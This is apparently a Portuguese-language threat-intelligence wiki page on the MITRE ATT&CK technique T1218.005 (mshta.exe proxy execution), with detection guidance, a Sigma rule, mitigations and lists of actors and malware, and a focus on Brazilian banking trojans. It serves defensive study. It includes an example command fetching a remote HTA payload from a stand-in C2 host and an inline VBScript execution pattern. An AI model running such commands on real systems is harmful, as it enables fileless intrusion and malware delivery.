# T1218.005 - Mshta
## Técnica Pai
Esta é uma sub-técnica de [[t1218-system-binary-proxy-execution|T1218 - T1218 - System Binary Proxy Execution]].
## Descrição
Mshta (Microsoft HTML Application Host) é um interpretador legítimo do Windows que executa arquivos `.hta` - aplicações HTML independentes que rodam com os mesmos privilégios do usuário mas fora do contexto de segurança do Internet Explorer. Adversários abusam do `mshta.exe` para executar código malicioso em VBScript ou JavaScript de forma que contorna controles de segurança baseados em whitelist de aplicações, já que `mshta.exe` é um binário assinado pela Microsoft e frequentemente considerado confiável por soluções de segurança. Trata-se de uma sub-técnica da categoria [[t1218-*|T1218]] - System Binary Proxy Execution - e é particularmente eficaz em ambientes onde o controle de execução foca em nomes de processos em vez de comportamento.
A execução pode ocorrer de múltiplas formas: via arquivo `.hta` local, via URL remota (o arquivo é baixado e executado em memória sem tocar o disco), ou através de scripts inline passados diretamente na linha de comando - como `mshta vbscript:Close(Execute("código_malicioso"))`. A ausência de gravação em disco e a execução dentro de um processo legítimo do sistema tornam essa técnica extremamente eficaz para evadir soluções de antivírus tradicionais baseadas em assinaturas. Malwares como [[s0455-metamorfo|Metamorfo]] e [[lumma-stealer|Lumma Stealer]] utilizaram ativamente essa técnica para instalação de stagers e loaders.
**Contexto Brasil/LATAM:** O Brasil é um dos países mais afetados pelo abuso de `mshta.exe`, particularmente em campanhas de trojans bancários. O [[s0455-metamorfo|Metamorfo]] - um trojan bancário desenvolvido por agentes brasileiros e direcionado a clientes de bancos no Brasil e México - utiliza `mshta.exe` como vetor primário de execução de seus stagers, aproveitando a confiança do sistema operacional no binário para contornar soluções de segurança corporativas. Grupos como [[g0140-lazyscripter|LazyScripter]] e [[g0069-mango-sandstorm|MuddyWater]] também empregaram a técnica em campanhas de phishing com documentos maliciosos que disparam chamadas ao `mshta.exe` ao serem abertos em ambientes Windows, impactando organizações nos setores financeiro e de aviação na região.
## Attack Flow
```mermaid
graph TB
A["Phishing<br/>(Documento / URL)"] --> B["mshta.exe Invocado<br/>(Binário Legítimo)"]:::highlight
B --> C["HTA / VBScript<br/>Executado em Memória"]:::highlight
C --> D["Stager / Loader<br/>Baixado (C2)"]
D --> E["Implante Persistido<br/>(RAT / Backdoor)"]
classDef highlight fill:#e74c3c,color:#fff
```
## Como Funciona
**Preparação:** O adversário cria um arquivo `.hta` ou um script VBScript/JavaScript embutido que serve como stager - geralmente contendo ofuscação de strings para dificultar análise estática. O arquivo pode ser hospedado em um servidor controlado pelo atacante ou entregue como anexo em e-mails de phishing. Documentos do Office maliciosos frequentemente incluem macros ou campos de objeto OLE que invocam `mshta.exe` com uma URL remota ao serem abertos.
**Execução:** O `mshta.exe` interpreta e executa o código HTA - que pode fazer download de payloads adicionais, executar comandos PowerShell, modificar o registro para persistência, ou injetar shellcode em processos legítimos. Como o processo filho de `mshta.exe` herda suas permissões e contexto de confiança, soluções de segurança baseadas apenas em reputação de processo frequentemente não alertam. A execução de URL remota (`mshta http://c2.exemplo/payload.hta`) permite que todo o payload rode em memória sem gravar no disco.
**Pós-execução:** Com o stager executado, o adversário estabelece um canal de C2 persistente usando ferramentas como [[s0250-koadic|Koadic]] ou [[s1155-covenant|Covenant]] - ambos com suporte nativo a execução via `mshta.exe`. O implante é configurado para sobreviver a reinicializações via chaves de registro (`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`) ou tarefas agendadas que reexecutam o comando `mshta.exe` com a URL do payload.
## Detecção
Detecção eficaz requer monitoramento de processos filhos de `mshta.exe` e de chamadas de rede originadas pelo processo.
**Event IDs relevantes (Windows):**
| Event ID | Fonte | Descrição |
|----------|-------|-----------|
| 4688 | Security | Criação de processo - monitorar `mshta.exe` com argumentos contendo URLs (`http://`, `https://`) ou `vbscript:` |
| 1 | Sysmon | Process Creaté - captura linha de comando completa do `mshta.exe` |
| 3 | Sysmon | Network Connection - `mshta.exe` fazendo conexão de rede de saída |
| 11 | Sysmon | FileCreaté - criação de arquivos `.hta` em diretórios temporários |
| 4104 | PowerShell | Script Block Logging - código PowerShell invocado como filho do `mshta.exe` |
**Sigma Rule:**
```yaml
title: Mshta Proxy Execution via Remote URL or Inline Script
id: c7e2a4f1-8b3d-4a91-b5e2-1d9f3c7a2e85
status: stable
description: Detecta execução suspeita do mshta.exe com argumentos indicando proxy execution - URL remota, vbscript inline, ou javascript inline
author: RunkIntel
daté: 2026-03-24
logsource:
category: process_creation
product: windows
detection:
selection_process:
Image|endswith: '\mshta.exe'
selection_args:
CommandLine|contains:
- 'vbscript:'
- 'javascript:'
- 'http://'
- 'https://'
- '.hta'
- 'Execute('
- 'GetObject('
filter_legit:
CommandLine|contains:
- 'C:\Windows\System32\mshta.exe'
ParentImage|contains:
- 'explorer.exe'
condition: selection_process and selection_args and not filter_legit
falsepositives:
- Aplicações legítimas que usam HTA para instaladores (raras em ambientes corporativos)
level: high
tags:
- attack.defense_evasion
- attack.t1218.005
```
## Mitigação
| ID | Mitigação | Orientação para organizações brasileiras |
|----|-----------|------------------------------------------|
| M1042 | [[m1042-disable-or-remove-feature-or-program\|M1042 - Disable or Remove Feature or Program]] | Desabilitar o `mshta.exe` via AppLocker ou WDAC se não houver necessidade de negócio - a maioria dos ambientes corporativos não usa arquivos HTA legitimamente |
| M1038 | [[m1038-execution-prevention\|M1038 - Execution Prevention]] | Criar regra de bloqueio no Windows Defender Application Control para impedir execução de `mshta.exe` por processos que não sejam o `explorer.exe` ou processos de gestão listados em whitelist |
| Monitoramento de rede | Inspeção de DNS/HTTP | Configurar proxies para bloquear downloads de `.hta` e alertar em conexões de saída originadas por `mshta.exe` |
| E-mail security | Bloquear anexos `.hta` | Configurar gateway de e-mail (Microsoft 365 Defender, Proofpoint) para quarentenar ou rejeitar e-mails com anexos `.hta` - técnica trivial e eficaz |
| Conscientização | Treinamento anti-phishing | Treinar colaboradores para não abrir arquivos `.hta` recebidos por e-mail ou links suspeitos - especialmente relevante para equipes financeiras no Brasil |
| EDR | Detecção comportamental | Configurar regras de detecção em soluções EDR para processos filhos anômalos de `mshta.exe` (PowerShell, cmd.exe, regsvr32.exe) |
## Threat Actors
- [[g0121-sidewinder|Sidewinder]] - grupo APT sul-asiático que usa `mshta.exe` em campanhas de phishing altamente direcionadas contra governos e militares, explorando documentos RTF/OLE maliciosos.
- [[g0032-lazarus-group|Lazarus Group]] - grupo norte-coreano que empregou `mshta.exe` em campanhas financeiras e de espionagem; associado ao [[g0082-apt38|APT38]] em operações contra o setor bancário global.
- [[g0069-mango-sandstorm|MuddyWater]] - grupo iraniano que utiliza `mshta.exe` como parte de suas cadeias de infecção baseadas em PowerShell e VBScript contra governos do Oriente Médio e Europa.
- [[g0129-mustang-panda|Mustang Panda]] - grupo chinês que usa HTA como vetor de entrega em campanhas de espionagem; relevante para entidades diplomáticas e ONG na América Latina.
- [[g0140-lazyscripter|LazyScripter]] - grupo com foco em aviação que abusa de `mshta.exe` para execução de scripts PowerShell ofuscados em campanhas de phishing.
- [[g1018-ta2541|TA2541]] - ator financeiramente motivado que usa `mshta.exe` em campanhas massivas de phishing contra setores de aviação e logística.
- [[g0082-apt38|APT38]] - braço financeiro do Lazarus, documentado usando `mshta.exe` em intrusões contra bancos - altamente relevante para o sistema financeiro brasileiro.
- [[g0100-inception-framework|Inception]] - grupo de espionagem que utiliza `mshta.exe` com documentos Word armados para acesso inicial em campanhas contra governos europeus e asiáticos.
- [[g0094-kimsuky|Kimsuky]] - grupo norte-coreano que usa HTA em campanhas de spear-phishing contra pesquisadores e jornalistas; inclui scripts VBScript para reconhecimento inicial.
- [[g0046-fin7|FIN7]] - grupo criminoso prolífico que abusa de `mshta.exe` para execução de seus stagers em ambientes de varejo e hotelaria; com histórico de ataques no Brasil.
## Software Associado
- [[s0250-koadic|Koadic]] - framework de pós-exploração baseado em JScript/VBScript que usa `mshta.exe` como vetor de staging; equivalente ao Cobalt Strike mas focado em LOLBins.
- [[s0341-xbash|Xbash]] - malware multiplataforma com capacidade de worm que usa `mshta.exe` para execução em Windows como parte de sua cadeia de infecção.
- [[s0414-babyshark|BabyShark]] - malware VBScript usado pelo Kimsuky que pode ser entregue via `mshta.exe`; focado em reconhecimento e exfiltração de credenciais.
- [[s0223-powerstats|POWERSTATS]] - backdoor PowerShell do MuddyWater frequentemente instalado via `mshta.exe` como stager inicial em campanhas de phishing.
- [[lumma-stealer|Lumma Stealer]] - infostealer amplamente distribuído no Brasil e LATAM via campanhas de malvertising que abusam de `mshta.exe` para execução fileless.
- [[s0455-metamorfo|Metamorfo]] - trojan bancário brasileiro que usa `mshta.exe` como vetor de execução de stager; um dos malwares mais ativos contra bancos brasileiros e mexicanos.
- [[s0379-revenge-rat|Revenge RAT]] - RAT de amplo uso que pode ser entregue via `mshta.exe`; detectado em campanhas de phishing contra empresas brasileiras de médio porte.
- [[s0228-nanhaishu|NanHaiShu]] - RAT focado em entidades governamentais no Mar do Sul da China que usa `mshta.exe` para execução de JScript malicioso.
- [[s0589-sibot|Sibot]] - malware VBScript do grupo Nobelium/APT29 que usa `mshta.exe` para download e execução de payloads de segunda etapa.
- [[s1155-covenant|Covenant]] - framework C2 de código aberto com suporte a staging via `mshta.exe`; frequentemente usado em operações de red team e por atores oportunistas.
---
*Fonte: [MITRE ATT&CK - T1218.005](https://attack.mitre.org/techniques/T1218/005)*